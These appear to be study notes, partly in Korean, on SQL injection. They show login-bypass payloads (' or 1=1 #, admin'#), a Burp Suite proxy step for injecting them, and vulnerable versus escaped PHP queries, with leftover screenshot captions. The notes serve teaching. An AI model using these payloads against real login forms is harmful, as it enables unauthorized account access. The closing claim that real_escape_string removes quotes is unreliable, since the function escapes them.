SQL Injection

**SQL 삽입**([영어](https://ko.wikipedia.org/wiki/%EC%98%81%EC%96%B4): SQL Injection, SQL 인젝션, SQL 주입)은 응용 프로그램 보안 상의 허점을 의도적으로 이용해, 악의적인 [SQL](https://ko.wikipedia.org/wiki/SQL)문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 [코드 인젝션](https://ko.wikipedia.org/wiki/%EC%BD%94%EB%93%9C_%EC%9D%B8%EC%A0%9D%EC%85%98) 공격 방법이다.

Attack purpose and affect

<https://m.mkexdev.net/427>

SELECT \* FROM accounts WHERE username = ‘$USERNAME’ and password=’$PASSWORD’

<password injection>

SELECT \* FROM accounts WHERE username = ‘$USERNAME’ and password=’aaa’ or 1=1 #’

<id injection>

SELECT \* FROM accounts WHERE username = ‘admin’ #’ and password=’$PASSWORD’

SELECT \* FROM accounts WHERE username = ‘’ or 1=1#’ and password=’$PASSWORD’

<Detector bypassing>

스크린샷이(가) 표시된 사진

자동 생성된 설명

스크린샷이(가) 표시된 사진

자동 생성된 설명

이와 같이 잘못된 비밀번호를 입력한 후 burp suite를 통해 Proxy를 이용하여 aa’ or 1=1# 로 수정한 후 Forward해주면 Injection이 이루어진다.

<Low Security>

$query = “SELECT \* FROM accounts WHERE username=’”.

$username.

“’ AND password=’”.

$password.

<High Security>

$query = “SELECT \* FROM accounts WHERE username=’”.

$conn->real\_escape\_string($username) .

“’ AND password=’”.

$conn->real\_escape\_string($password).

“’”;

real\_escape\_string() : Remove the small quotation ‘ ‘